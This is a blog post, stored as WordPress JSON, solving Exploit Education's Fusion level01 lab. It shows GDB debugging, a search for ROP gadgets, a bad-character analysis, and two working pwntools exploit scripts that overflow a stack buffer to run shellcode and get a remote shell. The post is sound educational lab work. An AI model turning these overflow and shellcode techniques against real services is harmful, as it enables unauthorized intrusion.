{"id":1256,"date":"2020-02-17T08:22:00","date_gmt":"2020-02-17T13:22:00","guid":{"rendered":"https:\/\/blog.lamarranet.com\/?p=1256"},"modified":"2021-04-20T20:43:20","modified_gmt":"2021-04-21T00:43:20","slug":"exploit-education-fusion-level-01-solution","status":"publish","type":"post","link":"https:\/\/blog.lamarranet.com\/index.php\/exploit-education-fusion-level-01-solution\/","title":{"rendered":"Exploit Education | Fusion | Level 01 Solution"},"content":{"rendered":"<p>level00 with stack\/heap\/mmap aslr, without info leak &#58;)<\/p>\n<p>The description and source code can be found here:<br \/>\n<a href=\"http:\/\/exploit.education\/fusion\/level01\/\">http:\/\/exploit.education\/fusion\/level01\/<\/a><\/p>\n<p>This is the same exact level as the first one, but with one added protection, <a href=\"https:\/\/en.wikipedia.org\/wiki\/Address_space_layout_randomization\">ASLR<\/a>. The stack addresses will be randomized so we won&#8217;t be able to simply point EIP to our shellcode there. My initial thought is to debug the program while it&#8217;s running and see if there&#8217;s any registers that point to any part of the user input. Maybe we&#8217;ll get lucky and find a &#8220;jmp register&#8221; gadget to jump execution to our shellcode on the stack.<\/p>\n<p>First I&#8217;ll verify this program works the same way as the previous one. And in case you didn&#8217;t read my previous post, I have an entry in my <code>\/etc\/hosts<\/code> file for the Fusion VM&#8217;s IP address.<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/fusion $ nc fusion 20001\r\nGET \/root HTTP\/1.1\r\ntrying to access \/root\r\n<\/pre>\n<p>It does, with the only exception that it doesn&#8217;t give you the address of the &#8220;buffer&#8221; variable. It wouldn&#8217;t be very useful anyway as the address will be randomized each time the program is executed. What I want to do, is debug the program at the point where the <code>fix_path()<\/code> function returns (since that&#8217;s where the buffer overflow vulnerability exists) and see if there&#8217;s any registers pointing to any part of the user-controlled input on the stack. If so, can I put shellcode there since it doesn&#8217;t have the &#8220;Non-Executable stack&#8221; protection enabled.<\/p>\n<p>Now, I know that ESP will point to the end of my &#8220;user-controlled&#8221; input after overflowing the &#8220;resolved&#8221; variable in the <code>fix_path()<\/code> function. However, as the previous level indicated, there will be character restrictions due to the user input being run through the <code>realpath()<\/code> function. This will impact our shellcode. I might be able to run the shellcode through an encoder to avoid any bad characters, but let&#8217;s look for another approach at first. Again, I&#8217;ll look for any registers that point to my user-controlled input, but it&#8217;ll have to be the input saved to the &#8220;buffer&#8221; variable in the <code>parse_http_request()<\/code> function.<\/p>\n<p>On the Fusion VM, we&#8217;ll attach GDB to the running process and set it to follow child processes:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nfusion@fusion:~$ sudo -i\r\n\r\nroot@fusion:~# ps aux | grep level01\r\n20001     1464  0.0  0.0   1816    52 ?        Ss   Feb14   0:00 \/opt\/fusion\/bin\/level01\r\nroot      2374  0.0  0.0   4184   796 pts\/0    S+   00:33   0:00 grep --color=auto level01\r\n\r\nroot@fusion:~# gdb -p 1464\r\nGNU gdb (Ubuntu\/Linaro 7.3-0ubuntu2) 7.3-2011.08\r\n...\r\n0xb77d2424 in __kernel_vsyscall ()\r\n\r\n(gdb) set follow-fork-mode child\r\n<\/pre>\n<p>Next, I&#8217;ll set a breakpoint at the end of the <code>fix_path()<\/code> function since we&#8217;ll be able to control execution right after that. Then I&#8217;ll continue the program so we can catch the user input and reach our breakpoint:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\n(gdb) disas fix_path\r\nDump of assembler code for function fix_path:\r\n   0x08049815 &lt;+0&gt;:     push   %ebp\r\n   ...\r\n   0x08049853 &lt;+62&gt;:    leave\r\n   0x08049854 &lt;+63&gt;:    ret\r\nEnd of assembler dump.\r\n\r\n(gdb) b *fix_path+63\r\nBreakpoint 1 at 0x8049854: file level01\/level01.c, line 9.\r\n\r\n(gdb) c\r\nContinuing.\r\n<\/pre>\n<p>Now I can use a simple script to simulate the buffer overflow attack. For now, I don&#8217;t know what to overwrite EIP with, so I&#8217;ll just use junk data:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\n#!\/usr\/bin\/env python3\r\n\r\nimport socket\r\n\r\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\ns.connect((&quot;fusion&quot;, 20001))\r\n\r\npayload  = b&quot;GET \/&quot;\r\npayload += b&quot;A&quot; * 127 # fill the 'resolved' buffer\r\npayload += b&quot;B&quot; * 12\r\npayload += b&quot;C&quot; * 4   # overwrite saved EIP\r\npayload += b&quot; HTTP\/1.1&quot;\r\n\r\ns.sendall(payload)\r\nprint(s.recv(1024).strip())\r\n<\/pre>\n<p>After executing it, I can see that the breakpoint was hit in GDB:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\n&#x5B;New process 2099]\r\n&#x5B;Switching to process 2099]\r\n\r\nBreakpoint 1, 0x08049854 in fix_path (path=Cannot access memory at address 0x4242424a\r\n) at level01\/level01.c:9\r\n9       level01\/level01.c: No such file or directory.\r\n        in level01\/level01.c\r\n(gdb) \r\n<\/pre>\n<p>Now I know that the &#8220;buffer&#8221; variable is stored in the <code>parse_http_request()<\/code> function&#8217;s stack. This will be a higher address than where the ESP register currently points to, which is the current function&#8217;s saved EIP value. So let&#8217;s examine memory and make sure to capture all of the input we supplied that&#8217;s stored in the &#8220;buffer&#8221; variable, which should be 158 bytes.<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\n(gdb) x\/48wx $esp\r\n0xbfeaca3c:     0x43434343      0xbfeaca00      0x00000020      0x00000004\r\n0xbfeaca4c:     0x001761e4      0x001761e4      0x000027d8      0x20544547\r\n0xbfeaca5c:     0x4141412f      0x41414141      0x41414141      0x41414141\r\n0xbfeaca6c:     0x41414141      0x41414141      0x41414141      0x41414141\r\n0xbfeaca7c:     0x41414141      0x41414141      0x41414141      0x41414141\r\n0xbfeaca8c:     0x41414141      0x41414141      0x41414141      0x41414141\r\n0xbfeaca9c:     0x41414141      0x41414141      0x41414141      0x41414141\r\n0xbfeacaac:     0x41414141      0x41414141      0x41414141      0x41414141\r\n0xbfeacabc:     0x41414141      0x41414141      0x41414141      0x41414141\r\n0xbfeacacc:     0x41414141      0x41414141      0x41414141      0x41414141\r\n0xbfeacadc:     0x42424242      0x42424242      0x42424242      0x43434343\r\n0xbfeacaec:     0x54544800      0x2e312f50      0x00000031      0x00000000\r\n\r\n(gdb) x\/s 0xbfeaca5c\r\n0xbfeaca5c:      &quot;\/&quot;, 'A' &lt;repeats 127 times&gt;, 'B' &lt;repeats 12 times&gt;, &quot;CCCC&quot;\r\n\r\n(gdb) x\/s 0xbfeacaed\r\n0xbfeacaed:      &quot;HTTP\/1.1&quot;\r\n<\/pre>\n<p>Then I&#8217;ll see if there&#8217;s any registers that point to user-controlled space:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\n(gdb) i r\r\neax            0x1      1\r\necx            0xb76d08d0       -1217591088\r\nedx            0xbfeaca40       -1075131840\r\nebx            0xb7848ff4       -1216049164\r\nesp            0xbfeaca3c       0xbfeaca3c\r\nebp            0x42424242       0x42424242\r\nesi            0xbfeacaf5       -1075131659\r\nedi            0x8049ed1        134520529\r\neip            0x8049854        0x8049854 &lt;fix_path+63&gt;\r\neflags         0x246    &#x5B; PF ZF IF ]\r\ncs             0x73     115\r\nss             0x7b     123\r\nds             0x7b     123\r\nes             0x7b     123\r\nfs             0x0      0\r\ngs             0x33     51\r\n<\/pre>\n<p>Look at that, ESI points to the end of the &#8220;HTTP\/1.1&#8221; string! Maybe I can put my shellcode there and try to find a gadget(s) that&#8217;ll let me redirect the flow of execution there. Fortunately, the VM comes with <a href=\"https:\/\/github.com\/JonathanSalwan\/ROPgadget\">ROPgadget<\/a>, albeit an older version of it.<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nroot@fusion:\/opt\/ROPgadget-v3.3# .\/ROPgadget -file ..\/fusion\/bin\/level01 -g -asm &quot;jmp %esi&quot;\r\n\/tmp\/ropgadget_asm.s: Assembler messages:\r\n\/tmp\/ropgadget_asm.s:1: Warning: indirect jmp without `*'\r\nGadgets information\r\n============================================================\r\n\r\nTotal opcodes found: 0\r\n<\/pre>\n<p>Nothing is that easy. I searched for a long time for a series of gadgets that would allow me to get the value in ESI to EIP. I also gave up on using this old version of ROPgadget and SCP&#8217;ed the binary to my attacking machine so I could use <a href=\"https:\/\/github.com\/sashs\/Ropper\">Ropper<\/a>. I wasn&#8217;t able to find anything that would allow me to use ESI, but I did figure out how to use ESP.<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/fusion $ ropper --file level01 --search &quot;% esp&quot;\r\n&#x5B;INFO] Load gadgets for section: PHDR\r\n&#x5B;LOAD] loading... 100%\r\n&#x5B;INFO] Load gadgets for section: LOAD\r\n&#x5B;LOAD] loading... 100%\r\n&#x5B;INFO] Load gadgets for section: GNU_STACK\r\n&#x5B;LOAD] loading... 100%\r\n&#x5B;LOAD] removing double gadgets... 100%\r\n&#x5B;INFO] Searching for gadgets: % esp\r\n\r\n&#x5B;INFO] File: level01\r\n0x08049604: add byte ptr &#x5B;eax], al; add esp, 0x10; pop esi; pop edi; pop ebp; ret;\r\n0x080488b3: add byte ptr &#x5B;eax], al; add esp, 8; pop ebx; ret;\r\n0x080488ae: add byte ptr &#x5B;eax], al; call 0x1a50; add esp, 8; pop ebx; ret;\r\n0x08049a8a: add byte ptr &#x5B;eax], al; call 0xba0; add esp, 8; pop ebx; ret;\r\n0x080488a9: add byte ptr &#x5B;eax], al; call 0xc00; call 0x1a50; add esp, 8; pop ebx; ret;\r\n0x08049f0a: add byte ptr &#x5B;eax], al; shr cl, 0xff; call esp;\r\n0x08049a6e: add eax, dword ptr &#x5B;ebx - 0xb8a0008]; add esp, 4; pop ebx; pop ebp; ret;\r\n0x08049606: add esp, 0x10; pop esi; pop edi; pop ebp; ret;\r\n0x08049a29: add esp, 0x1c; pop ebx; pop esi; pop edi; pop ebp; ret;\r\n0x0804905f: add esp, 0x230; pop ebx; pop edi; pop ebp; ret;\r\n0x08049970: add esp, 0x420; pop esi; pop edi; pop ebp; ret;\r\n0x08048bef: add esp, 4; pop ebx; pop ebp; ret;\r\n0x080488b5: add esp, 8; pop ebx; ret;\r\n0x080488b0: call 0x1a50; add esp, 8; pop ebx; ret;\r\n0x080488a6: call 0xa00; call 0xc00; call 0x1a50; add esp, 8; pop ebx; ret;\r\n0x0804905a: call 0xa10; add esp, 0x230; pop ebx; pop edi; pop ebp; ret;\r\n0x08049a8c: call 0xba0; add esp, 8; pop ebx; ret;\r\n0x080488ab: call 0xc00; call 0x1a50; add esp, 8; pop ebx; ret;\r\n0x08049f0f: call esp;\r\n0x08049a6f: cmp eax, -1; jne 0x1a68; add esp, 4; pop ebx; pop ebp; ret;\r\n0x08049f4f: jmp esp;\r\n...\r\n<\/pre>\n<p>More specifically, I can use these 2 gadgets:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\n0x0804905f: add esp, 0x230; pop ebx; pop edi; pop ebp; ret;\r\n0x08049f4f: jmp esp;\r\n<\/pre>\n<p>I can add 560 (0x230) to ESP to get it to point to data stored in the &#8220;buffer&#8221; variable, then jump to it. Now I just need to calculate how many bytes after the end of the &#8220;HTTP\/1.1&#8221; string the shellcode will start. I know that 560 bytes will be added to ESP <i>after<\/i> the flow of execution is redirected to the gadget. I also know that ESI points to the end of that string. So I can use the formula <code>ESP + 4 + 560 - ESI<\/code>.<\/p>\n<pre>\r\n0xbfeaca3c + 0x4 + 0x230 + 0xbfeacaf5 = 0x17b (379)\r\n    ESP                        ESI\r\n<\/pre>\n<p>Now I do have to account for the 3 pop instructions in that first gadget, so I&#8217;ll need to include 12 bytes of junk data as well. But now I can craft my exploit:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\n#!\/usr\/bin\/env python3\r\n\r\nfrom pwn import *\r\n\r\nio = remote(&quot;fusion&quot;, 20001)\r\n\r\npayload  = b&quot;GET \/&quot; + b&quot;A&quot;*127 # fill the 'resolved' variable\r\npayload += b&quot;B&quot;*12\r\npayload += p32(0x0804905f) # add esp, 0x230; pop ebx; pop edi; pop ebp; ret\r\npayload += b&quot; HTTP\/1.1&quot;\r\npayload += b&quot;C&quot;*379 # junk data to accomodate the &quot;add esp, 0x230&quot; instruction\r\npayload += b&quot;D&quot;*12 # junk data for the subsequent &quot;pop&quot; instructions\r\npayload += p32(0x08049f4f) # jmp esp\r\npayload += asm(shellcraft.sh())\r\n\r\nio.sendline(payload)\r\nio.interactive()\r\n<\/pre>\n<p>Let&#8217;s try it out:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/fusion $ .\/level01.py\r\n&#x5B;+] Opening connection to fusion on port 20001: Done\r\n&#x5B;*] Switching to interactive mode\r\n$ id\r\nuid=20001 gid=20001 groups=20001\r\n<\/pre>\n<h2>Alternate Solution<\/h2>\n<p>My first thought for this level was to just put encoded shellcode in the &#8220;path&#8221; portion of the user input after overwriting the saved return address. Of course I would need to do some &#8220;bad character&#8221; analysis to figure out which characters to avoid, but this would allow me to use a single <code>jmp esp<\/code> gadget. I know that I could use msfvenom to generate shellcode and avoid certain characters, but I didn&#8217;t have that installed on the attacking machine (not realizing, at the time, that it is installed on the Fusion VM). I know that pwntools seems to have this ability with its &#8220;Encoders&#8221; module, but I couldn&#8217;t get it to work. However, after further experimenting, I figured it out.<\/p>\n<p>Originally, I was trying to use the <a href=\"http:\/\/docs.pwntools.com\/en\/stable\/encoders.html#pwnlib.encoders.encoder.encode\">pwnlib.encoders.encoder.encode<\/a> function, but it wasn&#8217;t modifying the shellcode at all. I believe this to be a bug and will submit an issue for it an Github when I find the time. However, the <a href=\"http:\/\/docs.pwntools.com\/en\/stable\/encoders.html#pwnlib.encoders.i386.xor.i386XorEncoder\">pwnlib.encoders.i386.xor.encode<\/a> function <i>did<\/i> work.<\/p>\n<p>First, I had to send all possible bytes to the &#8220;path&#8221; portion of the user input and examine the memory to see what was captured and what wasn&#8217;t. Of course, I wrote a Python script for this and each time I found a bad character, I&#8217;d add it to the &#8220;badchars&#8221; variable:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\n#!\/usr\/bin\/env python3\r\n\r\nimport socket\r\nimport struct\r\n\r\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\ns.connect((&quot;fusion&quot;, 20001))\r\n\r\npayload  = b&quot;GET \/&quot;\r\n\r\nbadchars = &#x5B; 0x00, 0x0a, 0x0d, 0x20, 0x2f ]\r\npath = b&quot;&quot;\r\nfor i in range(0x00, 0x100):\r\n    if i not in badchars:\r\n        path += bytes(&#x5B;i])\r\n\r\npayload += path\r\npayload += b&quot; HTTP\/1.1&quot;\r\n\r\ns.sendall(payload)\r\nprint(s.recv(1024).strip().decode())\r\n<\/pre>\n<p>That list of &#8220;badchars&#8221; you see there is all of them. Next, I modified my original exploit script to come up with the new solution:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\n#!\/usr\/bin\/env python3\r\n\r\nfrom pwn import *\r\n\r\nio = remote(&quot;fusion&quot;, 20001)\r\n\r\npayload  = b&quot;GET \/&quot; + b&quot;A&quot;*127 # fill the 'resolved' variable\r\npayload += b&quot;B&quot;*12\r\npayload += p32(0x08049f4f) # jmp esp\r\n\r\npayload += b&quot;\\x90&quot; * 16\r\nshellcode = asm(shellcraft.sh())\r\navoid = b&quot;\\x00\\x0a\\x0d\\x20\\x2f&quot;\r\nencoded = pwnlib.encoders.i386.xor.encode(shellcode, avoid)\r\npayload += encoded\r\npayload += b&quot; HTTP\/1.1&quot;\r\n\r\nio.sendline(payload)\r\nio.interactive()\r\n<\/pre>\n<p>I did struggle at first as my first attempt did not include the <code>payload += b\"\\x90\" * 16<\/code> line. The exploit wasn&#8217;t working. Then after doing some debugging, I remembered something. The code that decodes the shellcode will overwrite the first few bytes of where ESP points to. Adding some NOP instructions to the beginning will easily solve this problem.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>level00 with stack\/heap\/mmap aslr, without info leak &#58;) &hellip; <a href=\"https:\/\/blog.lamarranet.com\/index.php\/exploit-education-fusion-level-01-solution\/\" class=\"more-link\"><span class=\"readmore\">Continue reading<span class=\"screen-reader-text\">Exploit Education | Fusion | Level 01 Solution<\/span><\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-1256","post","type-post","status-publish","format-standard","hentry","category-solutions"],"_links":{"self":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/1256","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/comments?post=1256"}],"version-history":[{"count":23,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/1256\/revisions"}],"predecessor-version":[{"id":1482,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/1256\/revisions\/1482"}],"wp:attachment":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/media?parent=1256"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/categories?post=1256"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/tags?post=1256"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}